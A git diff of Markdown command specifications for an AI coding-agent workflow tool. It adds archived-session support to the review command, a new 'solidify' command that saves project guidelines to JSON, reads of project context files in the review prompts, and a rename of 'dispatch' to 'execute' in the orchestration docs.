-- **Conditional Branch**: Phase 3 only dispatches if conflict_risk ≥ medium
+- **Conditional Branch**: Phase 3 only executes if conflict_risk ≥ medium
 - **Continuous Flow**: No user intervention between phases
 
 ## Error Handling

.claude/commands/workflow/review-module-cycle.md

@@ -409,6 +409,8 @@ Task(
     2. Get target files: Read resolved_files from review-state.json
     3. Validate file access: bash(ls -la ${targetFiles.join(' ')})
     4. Execute: cat ~/.claude/workflows/cli-templates/schemas/review-dimension-results-schema.json (get output schema reference)
+    5. Read: .workflow/project-tech.json (technology stack and architecture context)
+    6. Read: .workflow/project-guidelines.json (user-defined constraints and conventions to validate against)
 
     ## Review Context
     - Review Type: module (independent)
@@ -511,6 +513,8 @@ Task(
     3. Identify related code: bash(grep -r "import.*${basename(file)}" ${projectDir}/src --include="*.ts")
     4. Read test files: bash(find ${projectDir}/tests -name "*${basename(file, '.ts')}*" -type f)
     5. Execute: cat ~/.claude/workflows/cli-templates/schemas/review-deep-dive-results-schema.json (get output schema reference)
+    6. Read: .workflow/project-tech.json (technology stack and architecture context)
+    7. Read: .workflow/project-guidelines.json (user-defined constraints for remediation compliance)
 
     ## CLI Configuration
     - Tool Priority: gemini → qwen → codex

.claude/commands/workflow/review-session-cycle.md

@@ -420,6 +420,8 @@ Task(
     3. Get changed files: bash(cd ${workflowDir} && git log --since="${sessionCreatedAt}" --name-only --pretty=format: | sort -u)
     4. Read review state: ${reviewStateJsonPath}
     5. Execute: cat ~/.claude/workflows/cli-templates/schemas/review-dimension-results-schema.json (get output schema reference)
+    6. Read: .workflow/project-tech.json (technology stack and architecture context)
+    7. Read: .workflow/project-guidelines.json (user-defined constraints and conventions to validate against)
 
     ## Session Context
     - Session ID: ${sessionId}
@@ -522,6 +524,8 @@ Task(
     3. Identify related code: bash(grep -r "import.*${basename(file)}" ${workflowDir}/src --include="*.ts")
     4. Read test files: bash(find ${workflowDir}/tests -name "*${basename(file, '.ts')}*" -type f)
     5. Execute: cat ~/.claude/workflows/cli-templates/schemas/review-deep-dive-results-schema.json (get output schema reference)
+    6. Read: .workflow/project-tech.json (technology stack and architecture context)
+    7. Read: .workflow/project-guidelines.json (user-defined constraints for remediation compliance)
 
     ## CLI Configuration
     - Tool Priority: gemini → qwen → codex

.claude/commands/workflow/review.md

@@ -1,7 +1,7 @@
 ---
 name: review
 description: Post-implementation review with specialized types (security/architecture/action-items/quality) using analysis agents and Gemini
-argument-hint: "[--type=security|architecture|action-items|quality] [optional: session-id]"
+argument-hint: "[--type=security|architecture|action-items|quality] [--archived] [optional: session-id]"
 ---
 
 ## Command Overview: /workflow:review
@@ -34,15 +34,17 @@ argument-hint: "[--type=security|architecture|action-items|quality] [optional: s
 ```
 Input Parsing:
    ├─ Parse --type flag (default: quality)
+   ├─ Parse --archived flag (search in archives)
    └─ Parse session-id argument (optional)
 
 Step 1: Session Resolution
    └─ Decision:
-      ├─ session-id provided → Use provided session
+      ├─ session-id provided + --archived → Search .workflow/archives/
+      ├─ session-id provided → Search .workflow/active/ first, then archives
       └─ Not provided → Auto-detect from .workflow/active/
 
 Step 2: Validation
-   ├─ Check session directory exists
+   ├─ Check session directory exists (active or archived)
    └─ Check for completed implementation (.summaries/IMPL-*.md exists)
 
 Step 3: Type Check
@@ -68,21 +70,29 @@ Step 5: Generate Report
 #!/bin/bash
 # Optional specialized review for completed implementation
 
-# Step 1: Session ID resolution
+# Step 1: Session ID resolution and location detection
 if [ -n "$SESSION_ARG" ]; then
     sessionId="$SESSION_ARG"
 else
     sessionId=$(find .workflow/active/ -name "WFS-*" -type d | head -1 | xargs basename)
 fi
 
-# Step 2: Validation
-if [ ! -d ".workflow/active/${sessionId}" ]; then
-    echo "Session ${sessionId} not found"
+# Step 2: Resolve session path (active or archived)
+# Priority: --archived flag → active → archives
+if [ -n "$ARCHIVED_FLAG" ]; then
+    sessionPath=".workflow/archives/${sessionId}"
+elif [ -d ".workflow/active/${sessionId}" ]; then
+    sessionPath=".workflow/active/${sessionId}"
+elif [ -d ".workflow/archives/${sessionId}" ]; then
+    sessionPath=".workflow/archives/${sessionId}"
+    echo "Note: Session found in archives, running review on archived session"
+else
+    echo "Session ${sessionId} not found in active or archives"
     exit 1
 fi
 
 # Check for completed tasks
-if [ ! -d ".workflow/active/${sessionId}/.summaries" ] || [ -z "$(find .workflow/active/${sessionId}/.summaries/ -name "IMPL-*.md" -type f 2>/dev/null)" ]; then
+if [ ! -d "${sessionPath}/.summaries" ] || [ -z "$(find ${sessionPath}/.summaries/ -name "IMPL-*.md" -type f 2>/dev/null)" ]; then
     echo "No completed implementation found. Complete implementation first"
     exit 1
 fi
@@ -113,17 +123,17 @@ After bash validation, the model takes control to:
 1. **Load Context**: Read completed task summaries and changed files
    ```bash
    # Load implementation summaries (iterate through .summaries/ directory)
-   for summary in .workflow/active/${sessionId}/.summaries/*.md; do
+   for summary in ${sessionPath}/.summaries/*.md; do
      cat "$summary"
    done
 
    # Load test results (if available)
-   for test_summary in .workflow/active/${sessionId}/.summaries/TEST-FIX-*.md 2>/dev/null; do
+   for test_summary in ${sessionPath}/.summaries/TEST-FIX-*.md 2>/dev/null; do
      cat "$test_summary"
    done
 
    # Get changed files
-   git log --since="$(cat .workflow/active/${sessionId}/workflow-session.json | jq -r .created_at)" --name-only --pretty=format: | sort -u
+   git log --since="$(cat ${sessionPath}/workflow-session.json | jq -r .created_at)" --name-only --pretty=format: | sort -u
    ```
 
 2. **Perform Specialized Review**: Based on `review_type`
@@ -139,10 +149,10 @@ After bash validation, the model takes control to:
      ccw cli -p "
      PURPOSE: Security audit of completed implementation
      TASK: Review code for security vulnerabilities, insecure patterns, auth/authz issues
-     CONTEXT: @.summaries/IMPL-*.md,../.. @../../CLAUDE.md
+     CONTEXT: @.summaries/IMPL-*.md,../.. @../../project-tech.json @../../project-guidelines.json
      EXPECTED: Security findings report with severity levels
      RULES: Focus on OWASP Top 10, authentication, authorization, data validation, injection risks
-     " --tool gemini --mode write --cd .workflow/active/${sessionId}
+     " --tool gemini --mode write --cd ${sessionPath}
      ```
 
    **Architecture Review** (`--type=architecture`):
@@ -151,10 +161,10 @@ After bash validation, the model takes control to:
      ccw cli -p "
      PURPOSE: Architecture compliance review
      TASK: Evaluate adherence to architectural patterns, identify technical debt, review design decisions
-     CONTEXT: @.summaries/IMPL-*.md,../.. @../../CLAUDE.md
+     CONTEXT: @.summaries/IMPL-*.md,../.. @../../project-tech.json @../../project-guidelines.json
      EXPECTED: Architecture assessment with recommendations
      RULES: Check for patterns, separation of concerns, modularity, scalability
-     " --tool qwen --mode write --cd .workflow/active/${sessionId}
+     " --tool qwen --mode write --cd ${sessionPath}
      ```
 
    **Quality Review** (`--type=quality`):
@@ -163,17 +173,17 @@ After bash validation, the model takes control to:
      ccw cli -p "
      PURPOSE: Code quality and best practices review
      TASK: Assess code readability, maintainability, adherence to best practices
-     CONTEXT: @.summaries/IMPL-*.md,../.. @../../CLAUDE.md
+     CONTEXT: @.summaries/IMPL-*.md,../.. @../../project-tech.json @../../project-guidelines.json
      EXPECTED: Quality assessment with improvement suggestions
      RULES: Check for code smells, duplication, complexity, naming conventions
-     " --tool gemini --mode write --cd .workflow/active/${sessionId}
+     " --tool gemini --mode write --cd ${sessionPath}
      ```
 
    **Action Items Review** (`--type=action-items`):
    - Verify all requirements and acceptance criteria met:
      ```bash
      # Load task requirements and acceptance criteria
-     for task_file in .workflow/active/${sessionId}/.task/*.json; do
+     for task_file in ${sessionPath}/.task/*.json; do
        cat "$task_file" | jq -r '
          "Task: " + .id + "\n" +
          "Requirements: " + (.context.requirements | join(", ")) + "\n" +
@@ -185,7 +195,7 @@ After bash validation, the model takes control to:
      ccw cli -p "
      PURPOSE: Verify all requirements and acceptance criteria are met
      TASK: Cross-check implementation summaries against original requirements
-     CONTEXT: @.task/IMPL-*.json,.summaries/IMPL-*.md,../.. @../../CLAUDE.md
+     CONTEXT: @.task/IMPL-*.json,.summaries/IMPL-*.md,../.. @../../project-tech.json @../../project-guidelines.json
      EXPECTED:
      - Requirements coverage matrix
      - Acceptance criteria verification
@@ -196,7 +206,7 @@ After bash validation, the model takes control to:
      - Verify all acceptance criteria are met
      - Flag any incomplete or missing action items
      - Assess deployment readiness
-     " --tool gemini --mode write --cd .workflow/active/${sessionId}
+     " --tool gemini --mode write --cd ${sessionPath}
      ```
 
 
@@ -234,7 +244,7 @@ After bash validation, the model takes control to:
 4. **Output Files**:
    ```bash
    # Save review report
-   Write(.workflow/active/${sessionId}/REVIEW-${review_type}.md)
+   Write(${sessionPath}/REVIEW-${review_type}.md)
 
    # Update session metadata
    # (optional) Update workflow-session.json with review status
@@ -261,6 +271,12 @@ After bash validation, the model takes control to:
 # Architecture review for specific session
 /workflow:review --type=architecture WFS-payment-integration
 
+# Review an archived session (auto-detects if not in active)
+/workflow:review --type=security WFS-old-feature
+
+# Explicitly review archived session
+/workflow:review --archived --type=quality WFS-completed-feature
+
 # Documentation review
 /workflow:review --type=docs
 ```
@@ -270,6 +286,7 @@ After bash validation, the model takes control to:
 - **Simple Validation**: Check session exists and has completed tasks
 - **No Complex Orchestration**: Direct analysis, no multi-phase pipeline
 - **Specialized Reviews**: Different prompts and tools for different review types
+- **Archived Session Support**: Review archived sessions with `--archived` flag or auto-detection
 - **MCP Integration**: Fast code search for security and architecture patterns
 - **CLI Tool Integration**: Gemini for analysis, Qwen for architecture
 - **Structured Output**: Markdown reports with severity levels and action items
@@ -295,3 +312,11 @@ Optional Review (when needed):
 - Regular development (tests are sufficient)
 - Simple bug fixes (test-fix-agent handles it)
 - Minor changes (update-memory-related is enough)
+
+## Post-Review Action
+
+After review completion, prompt user:
+```
+Review complete. Would you like to complete and archive this session?
+→ Run /workflow:session:complete to archive with lessons learned
+```

.claude/commands/workflow/session/solidify.md

@@ -0,0 +1,299 @@
+---
+name: solidify
+description: Crystallize session learnings and user-defined constraints into permanent project guidelines
+argument-hint: "[--type <convention|constraint|learning>] [--category <category>] \"rule or insight\""
+examples:
+  - /workflow:session:solidify "Use functional components for all React code" --type convention
+  - /workflow:session:solidify "No direct DB access from controllers" --type constraint --category architecture
+  - /workflow:session:solidify "Cache invalidation requires event sourcing" --type learning --category architecture
+  - /workflow:session:solidify --interactive
+---
+
+# Session Solidify Command (/workflow:session:solidify)
+
+## Overview
+
+Crystallizes ephemeral session context (insights, decisions, constraints) into permanent project guidelines stored in `.workflow/project-guidelines.json`. This ensures valuable learnings persist across sessions and inform future planning.
+
+## Use Cases
+
+1. **During Session**: Capture important decisions as they're made
+2. **After Session**: Reflect on lessons learned before archiving
+3. **Proactive**: Add team conventions or architectural rules
+
+## Parameters
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `rule` | string | ✅ (unless --interactive) | The rule, convention, or insight to solidify |
+| `--type` | enum | ❌ | Type: `convention`, `constraint`, `learning` (default: auto-detect) |
+| `--category` | string | ❌ | Category for organization (see categories below) |
+| `--interactive` | flag | ❌ | Launch guided wizard for adding rules |
+
+### Type Categories
+
+**convention** → Coding style preferences (goes to `conventions` section)
+- Subcategories: `coding_style`, `naming_patterns`, `file_structure`, `documentation`
+
+**constraint** → Hard rules that must not be violated (goes to `constraints` section)
+- Subcategories: `architecture`, `tech_stack`, `performance`, `security`
+
+**learning** → Session-specific insights (goes to `learnings` array)
+- Subcategories: `architecture`, `performance`, `security`, `testing`, `process`, `other`
+
+## Execution Process
+
+```
+Input Parsing:
+   ├─ Parse: rule text (required unless --interactive)
+   ├─ Parse: --type (convention|constraint|learning)
+   ├─ Parse: --category (subcategory)
+   └─ Parse: --interactive (flag)
+
+Step 1: Ensure Guidelines File Exists
+   └─ If not exists → Create with empty structure
+
+Step 2: Auto-detect Type (if not specified)
+   └─ Analyze rule text for keywords
+
+Step 3: Validate and Format Entry
+   └─ Build entry object based on type
+
+Step 4: Update Guidelines File
+   └─ Add entry to appropriate section
+
+Step 5: Display Confirmation
+   └─ Show what was added and where
+```
+
+## Implementation
+
+### Step 1: Ensure Guidelines File Exists
+
+```bash
+bash(test -f .workflow/project-guidelines.json && echo "EXISTS" || echo "NOT_FOUND")
+```
+
+**If NOT_FOUND**, create scaffold:
+
+```javascript
+const scaffold = {
+  conventions: {
+    coding_style: [],
+    naming_patterns: [],
+    file_structure: [],
+    documentation: []
+  },
+  constraints: {
+    architecture: [],
+    tech_stack: [],
+    performance: [],
+    security: []
+  },
+  quality_rules: [],
+  learnings: [],
+  _metadata: {
+    created_at: new Date().toISOString(),
+    version: "1.0.0"
+  }
+};
+
+Write('.workflow/project-guidelines.json', JSON.stringify(scaffold, null, 2));
+```
+
+### Step 2: Auto-detect Type (if not specified)
+
+```javascript
+function detectType(ruleText) {
+  const text = ruleText.toLowerCase();
+
+  // Constraint indicators
+  if (/\b(no|never|must not|forbidden|prohibited|always must)\b/.test(text)) {
+    return 'constraint';
+  }
+
+  // Learning indicators
+  if (/\b(learned|discovered|realized|found that|turns out)\b/.test(text)) {
+    return 'learning';
+  }
+
+  // Default to convention
+  return 'convention';
+}
+
+function detectCategory(ruleText, type) {
+  const text = ruleText.toLowerCase();
+
+  if (type === 'constraint' || type === 'learning') {
+    if (/\b(architecture|layer|module|dependency|circular)\b/.test(text)) return 'architecture';
+    if (/\b(security|auth|permission|sanitize|xss|sql)\b/.test(text)) return 'security';
+    if (/\b(performance|cache|lazy|async|sync|slow)\b/.test(text)) return 'performance';
+    if (/\b(test|coverage|mock|stub)\b/.test(text)) return 'testing';
+  }
+
+  if (type === 'convention') {
+    if (/\b(name|naming|prefix|suffix|camel|pascal)\b/.test(text)) return 'naming_patterns';
+    if (/\b(file|folder|directory|structure|organize)\b/.test(text)) return 'file_structure';
+    if (/\b(doc|comment|jsdoc|readme)\b/.test(text)) return 'documentation';
+    return 'coding_style';
+  }
+
+  return type === 'constraint' ? 'tech_stack' : 'other';
+}
+```
+
+### Step 3: Build Entry
+
+```javascript
+function buildEntry(rule, type, category, sessionId) {
+  if (type === 'learning') {
+    return {
+      date: new Date().toISOString().split('T')[0],
+      session_id: sessionId || null,
+      insight: rule,
+      category: category,
+      context: null
+    };
+  }
+
+  // For conventions and constraints, just return the rule string
+  return rule;
+}
+```
+
+### Step 4: Update Guidelines File
+
+```javascript
+const guidelines = JSON.parse(Read('.workflow/project-guidelines.json'));
+
+if (type === 'convention') {
+  if (!guidelines.conventions[category]) {
+    guidelines.conventions[category] = [];
+  }
+  if (!guidelines.conventions[category].includes(rule)) {
+    guidelines.conventions[category].push(rule);
+  }
+} else if (type === 'constraint') {
+  if (!guidelines.constraints[category]) {
+    guidelines.constraints[category] = [];
+  }
+  if (!guidelines.constraints[category].includes(rule)) {
+    guidelines.constraints[category].push(rule);
+  }
+} else if (type === 'learning') {
+  guidelines.learnings.push(buildEntry(rule, type, category, sessionId));
+}
+
+guidelines._metadata.updated_at = new Date().toISOString();
+guidelines._metadata.last_solidified_by = sessionId;
+
+Write('.workflow/project-guidelines.json', JSON.stringify(guidelines, null, 2));
+```
+
+### Step 5: Display Confirmation
+
+```
+✓ Guideline solidified
+
+Type: ${type}
+Category: ${category}
+Rule: "${rule}"
+
+Location: .workflow/project-guidelines.json → ${type}s.${category}
+
+Total ${type}s in ${category}: ${count}
+```
+
+## Interactive Mode
+
+When `--interactive` flag is provided:
+
+```javascript
+AskUserQuestion({
+  questions: [
+    {
+      question: "What type of guideline are you adding?",
+      header: "Type",
+      multiSelect: false,
+      options: [
+        { label: "Convention", description: "Coding style preference (e.g., use functional components)" },
+        { label: "Constraint", description: "Hard rule that must not be violated (e.g., no direct DB access)" },
+        { label: "Learning", description: "Insight from this session (e.g., cache invalidation needs events)" }
+      ]
+    }
+  ]
+});
+
+// Follow-up based on type selection...
+```
+
+## Examples
+
+### Add a Convention
+```bash
+/workflow:session:solidify "Use async/await instead of callbacks" --type convention --category coding_style
+```
+
+Result in `project-guidelines.json`:
+```json
+{
+  "conventions": {
+    "coding_style": ["Use async/await instead of callbacks"]
+  }
+}
+```
+
+### Add an Architectural Constraint
+```bash
+/workflow:session:solidify "No direct DB access from controllers" --type constraint --category architecture
+```
+
+Result:
+```json
+{
+  "constraints": {
+    "architecture": ["No direct DB access from controllers"]
+  }
+}
+```
+
+### Capture a Session Learning
+```bash
+/workflow:session:solidify "Cache invalidation requires event sourcing for consistency" --type learning
+```
+
+Result:
+```json
+{
+  "learnings": [
+    {
+      "date": "2024-12-28",
+      "session_id": "WFS-auth-feature",
+      "insight": "Cache invalidation requires event sourcing for consistency",
+      "category": "architecture"
+    }
+  ]
+}
+```
+
+## Integration with Planning
+
+The `project-guidelines.json` is consumed by:
+
+1. **`/workflow:tools:context-gather`**: Loads guidelines into context-package.json
+2. **`/workflow:plan`**: Passes guidelines to task generation agent
+3. **`task-generate-agent`**: Includes guidelines as "CRITICAL CONSTRAINTS" in system prompt
+
+This ensures all future planning respects solidified rules without users needing to re-state them.
+
+## Error Handling
+
+- **Duplicate Rule**: Warn and skip if exact rule already exists
+- **Invalid Category**: Suggest valid categories for the type
+- **File Corruption**: Backup existing file before modification
+
+## Related Commands
+
+- `/workflow:session:start` - Start a session (may prompt for solidify at end)
+- `/workflow:session:complete` - Complete session (prompts for learnings to solidify)
+- `/workflow:init` - Creates project-guidelines.json scaffold if missing

.claude/commands/workflow/session/start.md

@@ -38,26 +38,29 @@ ERROR: Invalid session type. Valid types: workflow, review, tdd, test, docs
 
 ## Step 0: Initialize Project State (First-time Only)
 
-**Executed before all modes** - Ensures project-level state file exists by calling `/workflow:init`.
+**Executed before all modes** - Ensures project-level state files exist by calling `/workflow:init`.
 
 ### Check and Initialize
 ```bash
-# Check if project state exists
-bash(test -f .workflow/project.json && echo "EXISTS" || echo "NOT_FOUND")
+# Check if project state exists (both files required)
+bash(test -f .workflow/project-tech.json && echo "TECH_EXISTS" || echo "TECH_NOT_FOUND")
+bash(test -f .workflow/project-guidelines.json && echo "GUIDELINES_EXISTS" || echo "GUIDELINES_NOT_FOUND")
 ```
 
-**If NOT_FOUND**, delegate to `/workflow:init`:
+**If either NOT_FOUND**, delegate to `/workflow:init`:
 ```javascript
 // Call workflow:init for intelligent project analysis
 SlashCommand({command: "/workflow:init"});
 
 // Wait for init completion
-// project.json will be created with comprehensive project overview
+// project-tech.json and project-guidelines.json will be created
 ```
 
 **Output**:
-- If EXISTS: `PROJECT_STATE: initialized`
-- If NOT_FOUND: Calls `/workflow:init` → creates `.workflow/project.json` with full project analysis
+- If BOTH_EXIST: `PROJECT_STATE: initialized`
+- If NOT_FOUND: Calls `/workflow:init` → creates:
+  - `.workflow/project-tech.json` with full technical analysis
+  - `.workflow/project-guidelines.json` with empty scaffold
 
 **Note**: `/workflow:init` uses cli-explore-agent to build comprehensive project understanding (technology stack, architecture, key components). This step runs once per project. Subsequent executions skip initialization.
 

.claude/commands/workflow/tdd-plan.md

@@ -9,39 +9,39 @@ allowed-tools: SlashCommand(*), TodoWrite(*), Read(*), Bash(*)
 
 ## Coordinator Role
 
-**This command is a pure orchestrator**: Dispatches 6 slash commands in sequence, parse outputs, pass context, and ensure complete TDD workflow creation with Red-Green-Refactor task generation.
+**This command is a pure orchestrator**: Executes 6 slash commands in sequence, parse outputs, pass context, and ensure complete TDD workflow creation with Red-Green-Refactor task generation.
 
 **CLI Tool Selection**: CLI tool usage is determined semantically from user's task description. Include "use Codex/Gemini/Qwen" in your request for CLI execution.
 
 **Task Attachment Model**:
-- SlashCommand dispatch **expands workflow** by attaching sub-tasks to current TodoWrite
-- When dispatching a sub-command (e.g., `/workflow:tools:test-context-gather`), its internal tasks are attached to the orchestrator's TodoWrite
+- SlashCommand execute **expands workflow** by attaching sub-tasks to current TodoWrite
+- When executing a sub-command (e.g., `/workflow:tools:test-context-gather`), its internal tasks are attached to the orchestrator's TodoWrite
 - Orchestrator **executes these attached tasks** sequentially
 - After completion, attached tasks are **collapsed** back to high-level phase summary
 - This is **task expansion**, not external delegation
 
 **Auto-Continue Mechanism**:
 - TodoList tracks current phase status and dynamically manages task attachment/collapse
-- When each phase finishes executing, automatically dispatch next pending phase
+- When each phase finishes executing, automatically execute next pending phase
 - All phases run autonomously without user interaction
 - **⚠️ CONTINUOUS EXECUTION** - Do not stop until all phases complete
 
 ## Core Rules
 
-1. **Start Immediately**: First action is TodoWrite initialization, second action is dispatch Phase 1
+1. **Start Immediately**: First action is TodoWrite initialization, second action is execute Phase 1
 2. **No Preliminary Analysis**: Do not read files before Phase 1
 3. **Parse Every Output**: Extract required data for next phase
-4. **Auto-Continue via TodoList**: Check TodoList status to dispatch next pending phase automatically
+4. **Auto-Continue via TodoList**: Check TodoList status to execute next pending phase automatically
 5. **Track Progress**: Update TodoWrite dynamically with task attachment/collapse pattern
 6. **TDD Context**: All descriptions include "TDD:" prefix
-7. **Task Attachment Model**: SlashCommand dispatch **attaches** sub-tasks to current workflow. Orchestrator **executes** these attached tasks itself, then **collapses** them after completion
-8. **⚠️ CRITICAL: DO NOT STOP**: Continuous multi-phase workflow. After executing all attached tasks, immediately collapse them and dispatch next phase
+7. **Task Attachment Model**: SlashCommand execute **attaches** sub-tasks to current workflow. Orchestrator **executes** these attached tasks itself, then **collapses** them after completion
+8. **⚠️ CRITICAL: DO NOT STOP**: Continuous multi-phase workflow. After executing all attached tasks, immediately collapse them and execute next phase
 
 ## 6-Phase Execution (with Conflict Resolution)
 
 ### Phase 1: Session Discovery
 
-**Step 1.1: Dispatch** - Session discovery and initialization
+**Step 1.1: Execute** - Session discovery and initialization
 
 ```javascript
 SlashCommand(command="/workflow:session:start --type tdd --auto \"TDD: [structured-description]\"")
@@ -66,7 +66,7 @@ TEST_FOCUS: [Test scenarios]
 
 ### Phase 2: Context Gathering
 
-**Step 2.1: Dispatch** - Context gathering and analysis
+**Step 2.1: Execute** - Context gathering and analysis
 
 ```javascript
 SlashCommand(command="/workflow:tools:context-gather --session [sessionId] \"TDD: [structured-description]\"")
@@ -92,7 +92,7 @@ SlashCommand(command="/workflow:tools:context-gather --session [sessionId] \"TDD
 
 ### Phase 3: Test Coverage Analysis
 
-**Step 3.1: Dispatch** - Test coverage analysis and framework detection
+**Step 3.1: Execute** - Test coverage analysis and framework detection
 
 ```javascript
 SlashCommand(command="/workflow:tools:test-context-gather --session [sessionId]")
@@ -108,9 +108,9 @@ SlashCommand(command="/workflow:tools:test-context-gather --session [sessionId]"
 
 
 
-<!-- TodoWrite: When test-context-gather dispatched, INSERT 3 test-context-gather tasks -->
+<!-- TodoWrite: When test-context-gather executed, INSERT 3 test-context-gather tasks -->
 
-**TodoWrite Update (Phase 3 SlashCommand dispatched - tasks attached)**:
+**TodoWrite Update (Phase 3 SlashCommand executed - tasks attached)**:
 ```json
 [
   {"content": "Phase 1: Session Discovery", "status": "completed", "activeForm": "Executing session discovery"},
@@ -124,7 +124,7 @@ SlashCommand(command="/workflow:tools:test-context-gather --session [sessionId]"
 ]
 ```
 
-**Note**: SlashCommand dispatch **attaches** test-context-gather's 3 tasks. Orchestrator **executes** these tasks.
+**Note**: SlashCommand execute **attaches** test-context-gather's 3 tasks. Orchestrator **executes** these tasks.
 
 **Next Action**: Tasks attached → **Execute Phase 3.1-3.3** sequentially
 
@@ -151,7 +151,7 @@ SlashCommand(command="/workflow:tools:test-context-gather --session [sessionId]"
 
 **Trigger**: Only execute when context-package.json indicates conflict_risk is "medium" or "high"
 
-**Step 4.1: Dispatch** - Conflict detection and resolution
+**Step 4.1: Execute** - Conflict detection and resolution
 
 ```javascript
 SlashCommand(command="/workflow:tools:conflict-resolution --session [sessionId] --context [contextPath]")
@@ -173,9 +173,9 @@ SlashCommand(command="/workflow:tools:conflict-resolution --session [sessionId]
 - If conflict_risk is "none" or "low", skip directly to Phase 5
 - Display: "No significant conflicts detected, proceeding to TDD task generation"
 
-<!-- TodoWrite: If conflict_risk ≥ medium, INSERT 3 conflict-resolution tasks when dispatched -->
+<!-- TodoWrite: If conflict_risk ≥ medium, INSERT 3 conflict-resolution tasks when executed -->
 
-**TodoWrite Update (Phase 4 SlashCommand dispatched - tasks attached, if conflict_risk ≥ medium)**:
+**TodoWrite Update (Phase 4 SlashCommand executed - tasks attached, if conflict_risk ≥ medium)**:
 ```json
 [
   {"content": "Phase 1: Session Discovery", "status": "completed", "activeForm": "Executing session discovery"},
@@ -190,7 +190,7 @@ SlashCommand(command="/workflow:tools:conflict-resolution --session [sessionId]
 ]
 ```
 
-**Note**: SlashCommand dispatch **attaches** conflict-resolution's 3 tasks. Orchestrator **executes** these tasks.
+**Note**: SlashCommand execute **attaches** conflict-resolution's 3 tasks. Orchestrator **executes** these tasks.
 
 **Next Action**: Tasks attached → **Execute Phase 4.1-4.3** sequentially
 
@@ -216,7 +216,7 @@ SlashCommand(command="/workflow:tools:conflict-resolution --session [sessionId]
 - Evaluate current context window usage and memory state
 - If memory usage is high (>110K tokens or approaching context limits):
 
-  **Step 4.5: Dispatch** - Memory compaction
+  **Step 4.5: Execute** - Memory compaction
 
   ```javascript
   SlashCommand(command="/compact")
@@ -230,7 +230,7 @@ SlashCommand(command="/workflow:tools:conflict-resolution --session [sessionId]
 
 ### Phase 5: TDD Task Generation
 
-**Step 5.1: Dispatch** - TDD task generation via action-planning-agent
+**Step 5.1: Execute** - TDD task generation via action-planning-agent
 
 ```javascript
 SlashCommand(command="/workflow:tools:task-generate-tdd --session [sessionId]")
@@ -251,9 +251,9 @@ SlashCommand(command="/workflow:tools:task-generate-tdd --session [sessionId]")
 - IMPL_PLAN.md contains workflow_type: "tdd" in frontmatter
 - Task count ≤10 (compliance with task limit)
 
-<!-- TodoWrite: When task-generate-tdd dispatched, INSERT 3 task-generate-tdd tasks -->
+<!-- TodoWrite: When task-generate-tdd executed, INSERT 3 task-generate-tdd tasks -->
 
-**TodoWrite Update (Phase 5 SlashCommand dispatched - tasks attached)**:
+**TodoWrite Update (Phase 5 SlashCommand executed - tasks attached)**:
 ```json
 [
   {"content": "Phase 1: Session Discovery", "status": "completed", "activeForm": "Executing session discovery"},
@@ -267,7 +267,7 @@ SlashCommand(command="/workflow:tools:task-generate-tdd --session [sessionId]")
 ]
 ```
 
-**Note**: SlashCommand dispatch **attaches** task-generate-tdd's 3 tasks. Orchestrator **executes** these tasks. Each generated IMPL task will contain internal Red-Green-Refactor cycle.
+**Note**: SlashCommand execute **attaches** task-generate-tdd's 3 tasks. Orchestrator **executes** these tasks. Each generated IMPL task will contain internal Red-Green-Refactor cycle.
 
 **Next Action**: Tasks attached → **Execute Phase 5.1-5.3** sequentially
 
@@ -347,7 +347,7 @@ Quality Gate: Consider running /workflow:action-plan-verify to validate TDD task
 
 ### Key Principles
 
-1. **Task Attachment** (when SlashCommand dispatched):
+1. **Task Attachment** (when SlashCommand executed):
    - Sub-command's internal tasks are **attached** to orchestrator's TodoWrite
    - Example: `/workflow:tools:test-context-gather` attaches 3 sub-tasks (Phase 3.1, 3.2, 3.3)
    - First attached task marked as `in_progress`, others as `pending`
@@ -364,7 +364,7 @@ Quality Gate: Consider running /workflow:action-plan-verify to validate TDD task
    - No user intervention required between phases
    - TodoWrite dynamically reflects current execution state
 
-**Lifecycle Summary**: Initial pending tasks → Phase dispatched (tasks ATTACHED) → Sub-tasks executed sequentially → Phase completed (tasks COLLAPSED to summary) → Next phase begins (conditional Phase 4 if conflict_risk ≥ medium) → Repeat until all phases complete.
+**Lifecycle Summary**: Initial pending tasks → Phase executed (tasks ATTACHED) → Sub-tasks executed sequentially → Phase completed (tasks COLLAPSED to summary) → Next phase begins (conditional Phase 4 if conflict_risk ≥ medium) → Repeat until all phases complete.
 
 ### TDD-Specific Features
 

.claude/commands/workflow/test-fix-gen.md

@@ -59,8 +59,8 @@ This command is a **pure planning coordinator**:
 - **All execution delegated to `/workflow:test-cycle-execute`**
 
 **Task Attachment Model**:
-- SlashCommand dispatch **expands workflow** by attaching sub-tasks to current TodoWrite
-- When dispatching a sub-command (e.g., `/workflow:tools:test-context-gather`), its internal tasks are attached to the orchestrator's TodoWrite
+- SlashCommand execute **expands workflow** by attaching sub-tasks to current TodoWrite
+- When executing a sub-command (e.g., `/workflow:tools:test-context-gather`), its internal tasks are attached to the orchestrator's TodoWrite
 - Orchestrator **executes these attached tasks** sequentially
 - After completion, attached tasks are **collapsed** back to high-level phase summary
 - This is **task expansion**, not external delegation
@@ -128,7 +128,7 @@ This command is a **pure planning coordinator**:
 
 ### Core Execution Rules
 
-1. **Start Immediately**: First action is TodoWrite, second is dispatch Phase 1 session creation
+1. **Start Immediately**: First action is TodoWrite, second is execute Phase 1 session creation
 2. **No Preliminary Analysis**: Do not read files before Phase 1
 3. **Parse Every Output**: Extract required data from each phase for next phase
 4. **Sequential Execution**: Each phase depends on previous phase's output
@@ -136,7 +136,7 @@ This command is a **pure planning coordinator**:
 6. **Track Progress**: Update TodoWrite dynamically with task attachment/collapse pattern
 7. **Automatic Detection**: Mode auto-detected from input pattern
 8. **Semantic CLI Detection**: CLI tool usage determined from user's task description for Phase 4
-9. **Task Attachment Model**: SlashCommand dispatch **attaches** sub-tasks to current workflow. Orchestrator **executes** these attached tasks itself, then **collapses** them after completion
+9. **Task Attachment Model**: SlashCommand execute **attaches** sub-tasks to current workflow. Orchestrator **executes** these attached tasks itself, then **collapses** them after completion
 10. **⚠️ CRITICAL: DO NOT STOP**: Continuous multi-phase workflow. After executing all attached tasks, immediately collapse them and execute next phase
 
 ### 5-Phase Execution
@@ -155,7 +155,7 @@ Read(".workflow/active/[sourceSessionId]/.process/context-package.json")
 // This preserves user's CLI tool preferences (e.g., "use Codex for fixes")
 ```
 
-**Step 1.1: Dispatch** - Create test workflow session with preserved intent
+**Step 1.1: Execute** - Create test workflow session with preserved intent
 
 ```javascript
 // Session Mode - Include original task description to enable semantic CLI selection
